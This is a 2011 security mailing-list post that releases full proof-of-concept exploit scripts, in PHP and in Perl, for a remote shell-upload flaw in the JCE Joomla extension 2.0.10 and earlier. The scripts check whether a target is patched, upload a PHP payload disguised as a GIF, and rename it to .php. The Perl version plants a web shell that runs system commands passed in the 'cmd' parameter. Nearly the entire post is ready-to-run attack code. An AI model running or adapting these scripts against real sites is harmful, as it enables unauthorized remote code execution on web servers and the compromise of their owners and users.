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Related POC for JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities
From: admin () bugreport ir
Date: Tue, 11 Oct 2011 12:44:45 +0330

After release of vendor supplied patch for JCE's vulnerabilities, AmnPardaz is going to submit related POC for this issue in Perl and PHP after one month for educational purposes.

PHP Version:
<?php
######################################### www.bugreport.ir ########################################
#
#                     AmnPardaz Security Research & Penetration Testing Group
#
#
# Title: Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 - PHP Version
# Vendor:                 http://www.joomlacontenteditor.net
# Vulnerable Version:     JCE 2.0.10 (prior versions also may be affected)
# Exploitation:           Remote with browser
# Original Advisory:      http://www.bugreport.ir/index_78.htm
# Vendor supplied patch: http://www.joomlacontenteditor.net/news/item/jce-2011-released
# CVSS2 Base Score:       (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5
# Coded By:               Mostafa Azizi
###################################################################################################

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html>
<head>
<title>JCE Joomla Extension Remote File Upload</title>
</head>

<body bgcolor="#00000">

<p align="center"><font size="4" color="#00ff00">JCE Joomla Extension Remote File Upload</font></p>
</font>
<table width="90%">
  <tbody>
    <tr>
      <td width="43%" align="left">
<form name="form1" action="'.$SERVER[PHP_SELF].'" enctype="multipart/form-data" method="post"> <p></font><font color="#00ff00" > hostname (ex:www.sitename.com): </font><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p> <p></font><font color="#00ff00" > path (ex: /joomla/ or just / ): </font><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p> <p></font><font color="#00ff00" >Please specify a file to upload: </font><input type="file" name="datafile" size="40"><font color="#FF0000"> * </font> <p><font color="#00ff00" > specify a port (default is 80): </font><input name="port" size="20"><span class="Stile5"></span></p> <p><font color="#00ff00" > Proxy (ip:port): </font><input name="proxy" size="20"><span class="Stile5"></span></p> <p align="center"> <span class="Stile5"><font color="#FF0000">* </font><font color="white" >fields are required</font></font></span></p>
          <p><input type="submit" value="Start" name="Submit"></p>
        </form>
      </td>
    </tr>
  </tbody>
</table>
</body></html>';

function sendpacket($packet,$response = 0,$output = 0,$s=0)
{
        $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
        global $proxy, $host, $port, $html, $user, $pass;
        if ($proxy == '')
        {
                $ock = fsockopen($host,$port);
                stream_set_timeout($ock, 5);
                if (!$ock)
                {
echo '<font color=white> No response from '.htmlentities($host).' ...<br></font>';
                        die;
                }
        } else
        {
                $parts = explode(':',$proxy);
echo '<font color=white>Connecting to proxy: '.$parts[0].':'.$parts[1].' ...<br><br/></font>';
                $ock   = fsockopen($parts[0],$parts[1]);
                stream_set_timeout($ock, 5);
                if (!$ock)
                {
                        echo '<font color=white>No response from proxy...<br></font>';
                        die;
                }
        }

                fputs($ock,$packet);
                if ($response == 1)
                {
                        if ($proxy == '')
                        {
                                $html = '';
                                while (!feof($ock))
                                {
                                        $html .= fgets($ock);
                                }
                        } else
                        {
                                $html = '';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
                                {
                                        $html .= fread($ock,1);
                                }
                        }
                } else $html = '';

                fclose($ock);
                if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
                if ($s==1){
                $count=0;
                $res=nl2br(htmlentities($html));
$str = array('2.0.11&lt;/title','2.0.12</title','2.0.13&lt;/title','2.0.14&lt;/title','2.0.15&lt;/title','1.5.7.10&lt;/title','1.5.7.11&lt;/title','1.5.7.12&lt;/title','1.5.7.13&lt;/title','1.5.7.14&lt;/title');
                foreach ($str as $value){
                $pos = strpos($res, $value);
                if ($pos === false) {
                $count=$count++;
                } else {
                echo "<font color=white>Target patched.<br/><br/></font>";
                die();
                }
                }
if ($count=10) echo '<font color=white>Target is exploitable.<br/><br/></font>';
                }
}

  $host   = $_POST['host'];
  $path   = $_POST['path'];
  $port   = $_POST['port'];
  $proxy   = $_POST['proxy'];

if (isset($_POST['Submit']) && $host != '' && $path != '')
{

  $port=intval(trim($port));
  if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font color=white>Error... check the path!</font>');}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);


                                                                                        /* Packet 1 --> Checking 
Exploitability */
$packet = "GET ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
                        $packet .= "Host: ".$host."\r\n";
                        $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";

                        sendpacket($packet,1,0,1);

                                                                        /* Packet 2 --> Uploading shell as a gif file */

                        $content = "GIF89a1\n";
                        $content .= file_get_contents($_FILES['datafile']['tmp_name']);
                        $data    = "-----------------------------41184676334\r\n";
                        $data   .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";
                        $data   .= "/\r\n";
                        $data   .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n";
                        $data   .= "Content-Type: application/octet-stream\r\n\r\n\r\n";
                        $data   .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n";
                        $data   .= "0\r\n";
                        $data   .= "-----------------------------41184676334\r\n";
$data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"0day.gif\"\r\n";
                        $data   .= "Content-Type: image/gif\r\n\r\n";
                        $data   .= "$content\r\n";
                        $data   .= "-----------------------------41184676334\r\n";
                        $data   .= "0day\r\n";
                        $data   .= "-----------------------------41184676334\r\n";
                        $data   .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
                        $data   .= "upload\r\n";
                        $data   .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";
$packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1\r\n";
                        $packet .= "Host: ".$host."\r\n";
                        $packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n";
                        $packet .= "Accept-Language: en-us,en;q=0.5\r\n";
                        $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n";
                        $packet .= "Connection: Close\r\n";
                        $packet .= "Proxy-Connection: close\r\n";
                        $packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";
                        $packet .= $data;

                        sendpacket($packet,0,0,0);

                                                                                /* Packet 3 --> Change Extension from 
.gif to .php */


$packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
                        $packet .= "Host: ".$host."\r\n";
                        $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
$packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
                        $packet .= "Accept-Language: en-US,en;q=0.8\r\n";
                        $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
                        $packet .= "Accept-Encoding: deflate\n";
                        $packet .= "X-Request: JSON\r\n";
$packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n"; $ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";
                        $packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
                        $packet .= $ren."\r\n\r\n";

                        sendpacket($packet,1,0,0);

                                                                                /* Packet 4 --> Check for successfully 
uploaded */


                        $packet  = "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n";
                        $packet .= "Host: ".$host."\r\n";
                        $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";

                        sendpacket($packet,1,0,0);

  if(stristr($html , '200 OK') != true)
{echo "<font color=white>Exploit Faild...</font>";} else echo "<font color=white>Exploit Succeeded...<br>http://$host:$port$path"."/images/stories/0day.php</font>";
}
?>



Perl Version:

######################################### www.bugreport.ir ########################################
#
#                     AmnPardaz Security Research & Penetration Testing Group
#
#
# Title: Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 - PHP Version
# Vendor:                 http://www.joomlacontenteditor.net
# Vulnerable Version:     JCE 2.0.10 (prior versions also may be affected)
# Exploitation:           Remote with browser
# Original Advisory:      http://www.bugreport.ir/index_78.htm
# Vendor supplied patch: http://www.joomlacontenteditor.net/news/item/jce-2011-released
# CVSS2 Base Score:       (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5
# Coded By:               Mostafa Azizi
###################################################################################################
use IO::Socket;
use LWP::Simple;
 system("cls");
if(!defined($ARGV[0])) {
print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n"; print "\t|||| Coded by: Mostafa Azizi (admin[ () ]0-Day[dot]net) ||||\n\n";
print "\t+--> Usage:   perl $0 <host>        <--+\n";
print "\t+--> Example: perl $0 localhost     <--+\n\n";
exit; }
print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n"; print "\t|||| Coded by: Mostafa Azizi (admin[ () ]0-Day[dot]net) ||||\n\n";
$TARGET = $ARGV[0];
$PORT   = "80";
$SCRIPT = "/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20";
$SHELL  = "/images/stories/0day.php?cmd=";
$HTTP   = "http://";;

$header1G = "GET $SCRIPT HTTP/1.1";
$header1H = "HEAD /images/stories/0day.php HTTP/1.1";
$header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
$header2 = "Host: $TARGET";
$header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
$header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
$header5 = "Content-Length: 769";
$header6 = "-----------------------------41184676334";
$header7 = 'Content-Disposition: form-data; name="upload-dir"';
$header8 = '/';
$header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
$header10 = 'Content-Type: application/octet-stream';
$header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
$header12 = "0";
$header13 = 'Content-Disposition: form-data; name="Filedata"; filename="0day.gif"';
$header14 = 'Content-Type: image/gif';
$header15 = 'GIF89aG';
$header16 = "<? system(\$_GET['cmd']\);exit; ?>";
$header17 = 'Content-Disposition: form-data; name="upload-name"';
$header18 = '0day';
$header19 = 'Content-Disposition: form-data; name="action"';
$header20 = 'upload';
$header21 = "-----------------------------41184676334--";
$header22 = 'X-Request: JSON';
$header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
$header25 = 'json={"fn":"folderRename","args":["/0day.gif","0day.php"]}';
$header24 = "Content-Length: ".length($header25)."";

############################################### Packet 1 --> Checking Exploitability #########################################################
print "\n[*] Checking Exploitability ...\n\n";
sleep 2;
$pageURL=$TARGET.$SCRIPT;
$simplePage=get($pageURL);
@arr = ("2.0.11</title","2.0.12</title","2.0.13</title","2.0.14</title","2.0.15&lt;/title","1.5.7.10</title","1.5.7.11</title","1.5.7.12</title","1.5.7.13</title","1.5.7.14</title");
while (($count!=10) && ($die != 1)) {
        foreach $arr(@arr){
                if ($simplePage =~ m/$arr/) {
                        print "\n[*] Target patched.\n\n";
                        $die = 1;
                } else {
                        $count++;
                                }
                }
        }
 if ($count==5) {print "[*] Target is exploitable.\n\n"};
############################################### Packet 2 --> Uploading shell as a gif file ######################################################### $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";
print "[*] Trying to upload 0day.gif ...\n\n";
print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";
sleep 2;
############################################### Packet 3 --> Change Extension from .gif to .php #########################################################
print "[*] Trying to change extension from .gif to .php ...\n\n";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";
print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; ############################################### Packet 4 --> Check for successfully uploaded #########################################################
$shellurl=$TARGET.$SHELL;
$output=get($shellurl);
while ($output = <$remote> ) {
if ($output =~ /200 OK/) {
print "[+] 0day.php was successfully uploaded\n\n";
print "[+] Path:".$TARGET.$SHELL."id\n";
}}


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